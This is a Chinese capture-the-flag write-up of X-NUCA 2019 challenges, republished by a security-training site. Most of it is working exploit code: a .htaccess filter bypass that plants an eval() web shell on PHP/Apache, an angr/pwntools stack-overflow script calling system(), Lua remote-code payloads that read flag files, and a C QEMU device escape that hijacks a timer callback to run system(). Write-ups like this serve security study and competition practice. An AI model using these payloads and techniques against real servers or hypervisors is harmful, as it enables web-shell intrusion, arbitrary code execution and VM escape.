0x00 前言

题目质量好高,题目好评

0x01 Ezphp

题目描述

ezphp php for beginner.

hint: no race condition

题目解答

题目环境:apache+php

题目源码:

<?php $files = scandir('./');  foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } include_once("fl3g.php"); if(!isset($_GET['content']) || !isset($_GET['filename'])) { highlight_file(__FILE__); die(); } $content = $_GET['content']; if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { echo "Hacker"; die(); } $filename = $_GET['filename']; if(preg_match("/[^a-z\.]/", $filename) == 1) { echo "Hacker"; die(); } $files = scandir('./');  foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($filename, $content . "\nJust one chance");
?>

有两次unlink,而且文件名不允许/的存在,所以想要避开unlink的删除,是基本不可能的了。

前面在内容限制了很多字符,之后查文档,发现字符几乎全部来自.htaccess.user.ini 这两个可用来getshell的方法当中,查询新的可利用字段也没有得到什么好的点子。

所以问题就又回到了对 stristr 函数过滤掉的字符的bypass上来(正则实在过不去....,也没办法把这个函数给dis掉)

所以根据码代码时的换行符以及连接符可以联想构造出如下payload来getshell

php_value%20auto_prepend_fi\%0Ale%20".htaccess"%0AErrorDocument%20404%20"<?php%20var_dump(eval($_GET[1]));?>\\

最终执行命令得到flag

0x02 AEG

题目描述

nc 117.50.100.23 42353

增加nc 117.50.93.78 10001

hints:

1) Search the strings carefully and we see the shining target through the fog of interesting tricks.

2) we have edited some logic of the rop.

题目解答

程序有大概20个switch case,并且其中有嵌套循环,每个switch case只有一条正确出路,判断一下重复地址即可。最后有个栈溢出,覆盖地址为lea rdi,'/bin/cat flag'处执行system即可。

脚本如下:

import angr
from pwn import *
from z3 import *
import hashlib
import base64
import os
import binasciidef get_md5(s):m = hashlib.md5()m.update(s)return m.hexdigest()def change_ld(binary, ld):"""Force to use assigned new ld.so by changing the binary"""if not os.access(ld, os.R_OK): log.failure("Invalid path {} to ld".format(ld))return Noneif not isinstance(binary, ELF):if not os.access(binary, os.R_OK): log.failure("Invalid path {} to binary".format(binary))return Nonebinary = ELF(binary)for segment in binary.segments:if segment.header['p_type'] == 'PT_INTERP':size = segment.header['p_memsz']addr = segment.header['p_paddr']data = segment.data()if size <= len(ld):log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))return Nonebinary.write(addr, ld.ljust(size, '\0').encode('utf-8'))if not os.access('/tmp/pwn', os.F_OK): os.mkdir('/tmp/pwn')path = '/tmp/pwn/{}_debug'.format(os.path.basename(binary.path))if os.access(path, os.F_OK): os.remove(path)log.info("Removing exist file {}".format(path))binary.save(path)    os.chmod(path, 0b111000000) #rwx------log.success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path)) return ELF(path)magic_num = 0x180
def get_end(addr):for i in range(addr,addr+magic_num):#print(elf.read(i,3))if elf.read(i,3) == b"\x90\xc9\xc3":#print('find end :%s'%hex(i))return iraise('not find end!')def get_jmp_rax(addr):for i in range(addr,addr-magic_num,-1):if elf.read(i,2) == b'\xff\xe0':#print('find jmp rax :%s'%hex(i))return ireturn Nonedef get_all_switch(addr):the_end = get_end(addr)the_jmp_rax = get_jmp_rax(the_end)res = []aid = 0for i in range(the_jmp_rax,the_end):ins = elf.read(i,5)if ins == b'\xb8'+b'\x00'*4:aid += 1next_addr = (i+10+u32(elf.read(i+6,4)))&0xffffffffif next_addr not in all_switch and next_addr not in all_no_use:node = cfg.get_any_node(next_addr)if node.successors[0].addr != 0x400900: #plt_exitres.append((next_addr,aid))return resdef check(addr):node = cfg.get_any_node(addr)suc = node.successorsif suc[0].addr == 0x4008b0: # &return 0return 1 # ^def deal_check(addr,op=None):#print(hex(addr)+' '),if check(addr) == 0:#print('calc')num1 = ord(elf.read(addr+0x7c,1))num2 = ord(elf.read(addr+0x8e,1))num3 = ((num1*num2)&(num1+num2))&0xffif op == None:op = 0x61return bytes((num1,num2,num3,op,10))else:#print('random')data = io.recv(8)data = u64(data)print(hex(data))num = u64(elf.read(addr+0x29+2,8))print(hex(num))x = BitVecs('x',64)[0]solver = Solver()solver.add( ((x << 39)^num*(x >> 25)) == data )solver.check()res = solver.model()num = res[x]if op == None:op = 0x61return p64(num.as_long())+bytes((op,10))filename = './aeg_0'io = remote('117.50.93.78', 10001)
io.recvuntil('Start Pow\n')
the_md5 = io.recvuntil('\n',drop=True)
data = io.recvuntil('\n',drop=True)
print(data)
prefix = binascii.a2b_hex(data[:-1])
st = int(data.decode('utf-8')[-1],16)<<4
print(hex(st))
found = 0
for a in range(st,st+0x10):if found:breakfor b in range(0x100):if found:breakfor c in range(0x100):tmp = prefix + bytes((a,b,c))calc = get_md5(tmp)#print(type(calc))#print(the_md5)if calc == the_md5.decode('utf-8'):#print(binascii.b2a_hex(tmp))io.sendline(binascii.b2a_hex(tmp))found = 1break
if found == 0:print("not found hash!!")exit()token = 'icqd741eeee3154b1c8fc866fe18e468'
io.sendlineafter('token:',token)
io.recvuntil('Start:\n')
binary_b64 = ''.join(io.recvuntil('End.\n',drop=True).decode('utf-8').split('\n'))
#print binary_b64
binary_b64 = base64.b64decode(binary_b64)
#print hex(len(binary_b64))
with open('aeg_0.tar.xz','wb') as f:f.write(binary_b64)f.close()
os.system('xz -d aeg_0.tar.xz;mv aeg_0.tar aeg_0;chmod +x aeg_0')elf = ELF(filename)p = angr.Project(filename,load_options={'auto_load_libs': False})
cfg = p.analyses.CFGFast()aid = 0
for addr,b in cfg.kb.functions.items():aid += 1if aid == 133:main_addr = addrprint('main_addr found! at %s'%hex(main_addr))breakaid = 0
for addr,b in cfg.kb.functions.items():aid += 1if aid >= 133:breakif aid >= 18 and aid < 133:#print(hex(addr))start_node = cfg.get_any_node(addr)pre = start_node.predecessorsif len(pre) > 0:if pre[0].addr - 0xf1 == main_addr:print('start_node found! at %s'%hex(start_node.addr))break#tmp_elf = change_ld(filename,'./ld-2.27.so')
#io = tmp_elf.process(env={'LD_PRELOAD':'./libc.so.6'})
#context.log_level='debug'
#context.terminal = ['tmux', 'split', '-h']
#gdb.attach(io)#,"b *0x4BFB070")
#input()
#context.log_level='debug'
io.recvuntil('Start.\n')ans = b""
tmp = deal_check(start_node.addr)
print('++++++++++++++++++')
io.send(tmp)the_end = get_end(start_node.addr)
start_node_next = (the_end-0x11+5+u32(elf.read(the_end-0x10,4)))&0xffffffff
print('start_node_next :%s'%hex(start_node_next))all_no_use = []
all_switch = []all_switch.append(start_node_next)all_next_switch = get_all_switch(start_node_next)
#print(all_next_switch)for next_switch,switch_num in all_next_switch:the_end = get_end(next_switch)the_jmp_rax = get_jmp_rax(the_end)if the_jmp_rax == None:all_no_use.append(next_switch)else:real_next_switch = next_switchtmp = deal_check(start_node_next,op=0x60+switch_num)ans += tmpio.send(tmp)
all_switch.append(real_next_switch)
#print(all_switch)
#print(ans)
for i in range(18):all_next_switch = get_all_switch(real_next_switch)tmp_no_use = []#print(all_next_switch)for next_switch,switch_num in all_next_switch:check_next = get_all_switch(next_switch)if len(check_next) < 4:tmp_no_use.append(next_switch)else:tmp = deal_check(real_next_switch,op=0x60+switch_num)ans += tmpio.send(tmp)real_next_switch = next_switchall_switch.append(real_next_switch)all_no_use.extend(tmp_no_use)if len(all_no_use) > 3:all_no_use = all_no_use[-3:]if len(all_switch) > 3:all_switch = all_switch[-3:]print(hex(real_next_switch))all_next_switch = get_all_switch(real_next_switch)
for next_switch,switch_num in all_next_switch:try:check_next = get_all_switch(next_switch)except:tmp = deal_check(real_next_switch,op=0x60+switch_num)io.send(tmp)real_next_switch = next_switchprint(hex(real_next_switch))context.log_level='debug'tmp = deal_check(real_next_switch,op=0x77)
io.send(tmp)eval_addr = cfg.get_any_node(0x400890).predecessors[0].addr
print('eval_addr :%s'%hex(eval_addr))
#print(len(ans))
#print(ans)#io.recvuntil('Congratulation')
sleep(0.1)
io.send(p64(eval_addr)*4)
io.interactive()

0x03 ls

题目描述

there are two flags in the form of xnuca{…}. Please submit the concatenation of the two string between the brackets (brackets not included). E.g. if the first flag is xnuca{here_is_flag1}, the second flag is xnuca{here_is_flag2}, please submit: here_is_flag1here_is_flag2.

NOTICE: The following host port isn't this program's service.

nc 4438af7809b0.gamectf.com 9901

nc 55a11bac354f.gamectf.com 9901

题目解答

首先把题目逆一下,发现逻辑是非常简单的,但是二进制里面实际上带了一个lua解释器,真正需要看的是lua代码,代码就在程序里面,但是做了压缩,blzpack,搜一下就可以知道怎么解压拿到代码,我是直接等程序解压完,从内存里读出来的,一共有一万多行,关键部分如下。

-- do reverseif req_method == "POST" and req_headers:get("referer") == 'xnuca' thenlocal cl = req_headers:get("content-length")local x = tonumber(stream.connection:read_body_by_length(tonumber(cl)))local res = (secret + x )  < (secret - 3 * x) and 1 or 0res_headers:upsert(":status", "201")res_headers:append("content-type", "text/plain")assert(stream:write_headers(res_headers, false))stream:write_chunk(tostring(res)..'\n',false)for i = 0,255,1dostream:write_chunk('number?'..'\n',false)local tmp = stream.connection:read_body_by_length(2)local num_of_digits = tonumber(tmp)if num_of_digits == -1 then break endlocal new_x = tonumber(stream.connection:read_body_by_length(num_of_digits))calc_oracle(new_x)endstream:write_chunk('did you get the secret?'..'\n',false,5)local num_of_digits = tonumber(stream.connection:read_body_by_length(2))stream:write_chunk('your guess?'..'\n',false,5)local ans = tonumber(stream.connection:read_body_by_length(num_of_digits))if ans == secret thenstream:write_chunk("correct, here is your flag 1:\n")re_flag=io.open("flag1.txt",'r')tmp=re_flag:read "*a"stream:write_chunk(tmp)elseif ans > secret thenprint(secret,ans)stream:write_chunk("nope.")return elsestream:write_chunk("nope.")returnendend-- do pwnif req_method == "POST" and req_headers:get("referer") == "xnuca" and req_headers:get("user-agent") == 'ww9210' thenlocal body_length = tonumber(stream.connection:read_body_by_length(4))local body = stream.connection:read_body_by_length(body_length)-- print(cl,body)hex_dump(body)x = load(body)x()returnend

这样看来就很明确了,先做一个逆向,猜出 secret 得一个flag,再任意代码执行,获取另一个flag。

关于逆向,需要利用lua的整数溢出特性,利用二分法来找一个临界值,进而算出可能的 secret 值,这里就比较坑了,我的方法实测成功率约20%;关于任意代码执行,也比较坑,首先需要列目录,将结果放到 work_dir 里,再去读flag文件。

此外还要写个申请docker的程序。

#https://github.com/matrix1001/welpwn
from PwnContext import *try:from IPython import embed as ipy
except ImportError:print ('IPython not installed.')if __name__ == '__main__':        context.terminal = ['tmux', 'splitw', '-h']context.log_level = 'debug'# functions for quick scripts       = lambda data               :ctx.send(str(data))        #in case that data is an intsa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) sl      = lambda data               :ctx.sendline(str(data)) sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) r       = lambda numb=4096          :ctx.recv(numb)ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)irt     = lambda                    :ctx.interactive()rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)# misc functionsuu32    = lambda data   :u32(data.ljust(4, '\0'))uu64    = lambda data   :u64(data.ljust(8, '\0'))def crack(s):chrset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEF'for c1 in chrset:for c2 in chrset:for c3 in chrset:for c4 in chrset:for c5 in chrset:test = c1 + c2 + c3 + c4 + c5if sha256sumhex(test) == s:return testerror('fail to crack hash: {}'.format(s))# 申请dockerctx.remote = ('55a11bac354f.gamectf.com', 9901)rs('remote')sla('token', 'icqd741eeee3154b1c8fc866fe18e468')ru('== \'')some_hash = ru('\'')sla('is :', crack(some_hash))r()# 申请完自己填ip端口什么的def toluaint(i):i = i & 0xffffffffffffffffif i > 0x8000000000000000:return -(0x10000000000000000 - i)else:return idef http_packet(content, ua='test'):packetfmt = '''POST / HTTP/1.1\r
Content-Length: {}\r
Content-Type: text/html\r
Connection: keep-alive\r
Accept: */*\r
Referer: xnuca\r
User-Agent: {}\r
\r
{}\r
'''return packetfmt.format(len(content)+2, ua, content)def getresult(x):ctx.clean()length = len(hex(x))s(length)s(hex(x))ru('2\r\n')result = ru('\n')if result == '1':return Trueelif result == '0':return Falseelse:error('error result:{}'.format(result))def crack():      a = 0min = 0x8000000000000000max = 0x10000000000000000while True:x = (max + min) / 2print('count:', a)#print('max:', max)#print('min:', min)#print('mid:', x)if (max == min+1):breakif(getresult(x)):max = xelse:min = xa += 1print('possible result from \n{}\nto\n{}\n'.format(hex(toluaint(min*3)+0x8000000000000000),hex(toluaint(max*3)+0x8000000000000000)))return hex(toluaint(min*3)+0x8000000000000000)ctx.remote = ('117.50.64.144', 26544)#ctx.remote = ('localhost', 8000)rs('remote')s(http_packet('1', ua='ww9210'))context.log_level = 'info'min_val = crack()context.log_level = 'debug's(-1)sa('did you get the secret', len(min_val))sa('your guess', min_val)ru('\r\n')msg_len = int(ru('\r\n'), 16)msg = r(msg_len)ru('\r\n')if 'flag 1' in msg:success('get flag1')else:error('no flag1')flag1_len = int(ru('\r\n'), 16)flag1 = r(flag1_len)ru('\r\n')payload = '''
require 'lfs'
function getpaths(rootpath, pathes)pathes = pathes or {}for entry in lfs.dir(rootpath) doif entry ~= '.' and entry ~= '..' thenlocal path = rootpath..'/'..entrylocal attr = lfs.attributes(path)assert(type(attr) == 'table')if attr.mode == 'directory' thengetpaths(path, pathes)elsetable.insert(pathes, path)endendendreturn pathes
endf=io.open("./work_dir/path", 'w')
pathes = {}
getpaths('.', pathes)
for i = 1, #(pathes) dof:write(pathes[i])f:write(' ')
end
f:close()
'''payload2 = '''
function common_copy(sourcefile,destinationfile)local temp_content ="";io.input(sourcefile)temp_content = io.read("*a")io.output(destinationfile)io.write(temp_content)io.flush()io.close()
end
common_copy("./flag009d9713831dca08e944ed901aede7f1.txt", "./work_dir/test")
'''# 这里就先发payload,等拿到flag文件名,再发payload2s(str(len(payload2)).ljust(4, ' '))s(payload2)ctx.recvall()

0x04 vexx

题目描述

user: root

pass: goodluck

Try to escape the QEMU world!

nc 35f56326858b.gamectf.com 30007

增加 nc ec3247983443.gamectf.com 30007

题目解答

利用ioport write将opaque->memorymode设为1,就可以通过设置opaque->req.offset,在vexx_cmb_write以及vexx_cmb_read函数中对opaque->req.req_buf进行越界读写,由于该buf后存在一个timer结构体,可以利用越界读获取堆地址以及程序基址。然后利用越界写将timer结构体中的cb覆盖为system地址,opaque覆盖为参数地址,最终触发timer,拿到flag:flag{SOEASY_Escape_qemu_from_timer}

Exp 如下:

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>uint32_t mmio_addr = 0xfebd6000;
uint32_t mmio_size = 0x1000;
uint32_t cmb_addr = 0xfebd0000;
uint32_t cmb_size = 0x4000;unsigned char* mmio_mem;
unsigned char* cmb_mem;
uint32_t pmio_base=0x230;void die(const char* msg)
{perror(msg);exit(-1);
}void* mem_map( const char* dev, size_t offset, size_t size )
{int fd = open( dev, O_RDWR | O_SYNC );if ( fd == -1 ) {return 0;}void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );if ( !result ) {return 0;}close( fd );return result;
}uint8_t mmio_read(uint32_t addr)
{return *((uint8_t*) (mmio_mem+addr));
}void mmio_write(uint32_t addr, uint8_t value)
{*( (uint32_t *) (mmio_mem+addr) ) = value;
}uint8_t cmb_read(uint32_t addr)
{return *((uint8_t*) (cmb_mem+addr));
}void cmb_write(uint32_t addr, uint8_t value)
{*( (uint8_t *) (cmb_mem+addr) ) = value;
}void pmio_write(uint32_t addr, uint32_t value)
{outb(value,addr);
}uint8_t pmio_read(uint32_t addr)
{return (uint32_t)inb(addr);
}void set_offset(uint32_t value)
{pmio_write(pmio_base+0x10, value);
}void set_memorymode(uint32_t value)
{pmio_write(pmio_base+0x0, value);
}uint8_t arbitrary_read(uint32_t offset)
{set_offset(offset);return cmb_read(0x100);
}void arbitrary_write(uint32_t offset, uint8_t value)
{set_offset(offset);cmb_write(0x100, value);
}void normal_write(uint32_t offset, uint8_t value)
{set_offset(offset);cmb_write(0x0, value);
}int main(int argc, char *argv[])
{//step 1 mmap /dev/mem to system, (man mem) to see the detailsystem( "mknod -m 660 /dev/mem c 1 1" );//step2 map the address to fdmmio_mem = mem_map( "/dev/mem", mmio_addr, mmio_size );if ( !mmio_mem ) {die("mmap mmio failed");}cmb_mem = mem_map( "/dev/mem", cmb_addr, cmb_size );if ( !cmb_mem ) {die("mmap cmb mem failed");}// Open and map I/O memory for the strng deviceif (iopl(3) !=0 )die("I/O permission is not enough");set_memorymode(1);uint64_t heap_addr=0,tmp;uint32_t i;for (i=0;i<8;i++) {tmp = arbitrary_read(0x40+i);heap_addr=heap_addr+(tmp<<(i*8));}printf("leaking heap address: 0x%lx\n",heap_addr);uint64_t pro_addr=0;for (i=0;i<8;i++) {tmp = arbitrary_read(0x38+i);pro_addr=pro_addr+(tmp<<(i*8));}printf("leaking pro address: 0x%lx\n",pro_addr);uint64_t pro_base= pro_addr-0x4DCF10;uint64_t system_plt=pro_base+0x2AB860;char *para="ls&&cat ./flag";for(i=0; i< strlen(para); i++) {normal_write(0x0+i,para[i]);}uint64_t para_addr=heap_addr+0xb90;for(i=0; i<8; i++) {arbitrary_write(0x38+i,((char*)&system_plt)[i]);}for(i=0; i<8; i++) {arbitrary_write(0x40+i, ((char*)&para_addr)[i]);}mmio_write(0x98,1);}

别忘了投稿哦

大家有好的技术原创文章

欢迎投稿至邮箱:edu@heetian.com

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦

有才能的你快来投稿吧!

了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!

X-NUCA'2019部分题目WP相关推荐

  1. Bugku-杂项部分题目WP

    前言 一个新手学习CTFer的成长之路必定要通过大量的刷题,下面是bugku部分题目wp Bugku-MISC-论剑 把图片放进010发现有一串二进制先转ASCII码获得一个关键词,但不知道是什么东西 ...

  2. ISCC 2021 部分题目WP

    ISCC 2021 部分题目WP 题目目录 练武题:web-ISCC客服一号冲冲冲(一) 练武题:web-介是嘛 练武题:web-Web01正则匹配最后的倔强 练武题:web- ISCC客服一号冲冲冲 ...

  3. CCF 2019年题目题解 - Python

    2019年刷题目录 2019年12月 201912-1 报数 题目链接: 代码: 201912-2 回收站选址 题目链接: 代码: 易错点需注意点: 201912-3 题目链接: 代码: 易错点需注意 ...

  4. 腾讯视频2019面试题目分享

    1. 面试流程简介 腾讯视频面试的是实习,一般只有两轮技术面,腾讯视频面试感觉算法比较简单,但是对实际项目经验要求比较高.腾讯视频面试除了介绍项目经验之外,总共问了5道题.3道实际操作题目,2道算法题 ...

  5. 衡师11月月赛web题目wp

    目录 1.丢三落四的学姐 2.wep?Pwn!!! 这题web部分是buuctf中的DASCTF X GFCTF 2022十月挑战赛!的原题 1.丢三落四的学姐 访问题目位置,很明显的phpstudy ...

  6. NSCTF-部分题目wp

    文章目录 Web-xff Web-sql Web-XXE CRYPTO-神算子 CRYPTO-Catch_the_point CRYPTO-data MISC-docx MISC-BBQ MISC-等 ...

  7. 【渝粤题库】国家开放大学2021春2019统计学原理题目

    试卷代号:2019 2021年春季学期期末统一考试 统计学原理试题(开卷) 2021年7月 一.单项选择题(下列各题的备选答案中,只有一个选项是正确的,请把正确答案的序号填写在括号内.每小题2分,共4 ...

  8. 蘑菇街2019校招题目总结

    Victory won't come to me unless I go to it. 选择题 CSS3中的伪类选择器 :nth-child(n)表示选中某个元素,这个元素是某个父元素的第n个子元素. ...

  9. 蘑菇街2019实习生题目总结

    今天开始刷公司真题,先从稍微简单的实习生的题目开始,加油鸭!!! Victory won't come to me unless I go to it. 选择 CSS样式的优先级问题(CSS权重问题) ...

最新文章

  1. 原版豆瓣评分8.8,这本书讲透了 Rust 的灵魂
  2. 数字化转型 用数据重塑未来业务
  3. AX2009报表打印固定长度Barcode条码
  4. Linux文件系统和挂载点理解
  5. SpringBoot 配置 generator代码生成+knife4j接口文档(2种模板设置、逻辑删除、字段填充 含代码粘贴可用)保姆级教程(注意事项+建表SQL+代码生成类封装+测试类)
  6. 【SAS NOTE】substr函数
  7. java try的用法_Java中try、catch的使用方法
  8. [存档]获取通讯录信息并写到SD卡上
  9. ps css html,用ps两分钟做个xhtml+css的网站首页
  10. 域名绑定html网站吗,使用Coding搭建html纯静态网站后绑定域名+SSL证书
  11. 最短路径和最小生成树的区别
  12. 【入门】PyTorch文本分类
  13. c语言函数调用--素数
  14. mac sublime中文乱码问题解决
  15. python条件句格式_python条件语句是什么?条件语句的一般格式是什么样的?
  16. 应用之星推出“图文app”制作工具,并附上教程
  17. 思迈特软件Smartbi!这才是你该选用的企业bi报表工具!
  18. 20以内的加减法辅导
  19. Dism 错误 87
  20. [C++教程①]--了解c语言以及第一行代码

热门文章

  1. 关于前端在vue中实现‘距离某个时间点的倒计时’问题:设置了间隔计算时间,刚开始有停顿。
  2. 交换机口不够用能再加一个吗_PoE交换机常见6大问题,一文掌握
  3. DM数据库外键设置的解决方式
  4. 不知道怎么建设企业文化?这里有个案例给你!
  5. 共探人工智能新发展,AICON 2022即将重磅开启
  6. Windows API函数大全---附:windows运行命令详解
  7. ubuntu16.04,解决桌面右键菜单失效问题!
  8. 这是一款功能强大的开源 Python 绘图库
  9. unity urp内置lit材质源码解析(下)
  10. 计算机类研究生双证,想要报考计算机专业来攻读双证在职研究生最终是不是可以获得双证...